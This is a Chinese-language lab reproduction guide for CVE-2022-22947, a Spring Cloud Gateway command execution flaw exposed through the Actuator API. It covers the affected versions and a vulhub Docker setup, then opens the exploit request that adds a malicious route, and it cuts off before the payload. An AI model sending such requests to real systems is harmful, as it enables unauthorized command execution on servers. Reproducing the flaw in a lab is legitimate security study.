漏洞描述
Spring Cloud Gateway 是基于 Spring Framework 和 Spring Boot 构建的 API 网关,它旨在为微服务架构提供一种简单、有效、统一的 API 路由管理方式。当攻击者可以访问Actuator API
的情况下,将可以利用该漏洞执行任意命令。
影响版本
3.1.0
3.0.0至3.0.6
漏洞环境
git clone https://github.com/vulhub/vulhub/blob/master/spring/CVE-2022-22947/docker-compose.yml
docker-compose up -d
访问ip:8080出现以下界面说明搭建成功
漏洞复现
1.添加包含恶意的路由
POST /actuator/gateway/routes/blue HTTP/1.1
Host: 192.168.1.41:8080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.109 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=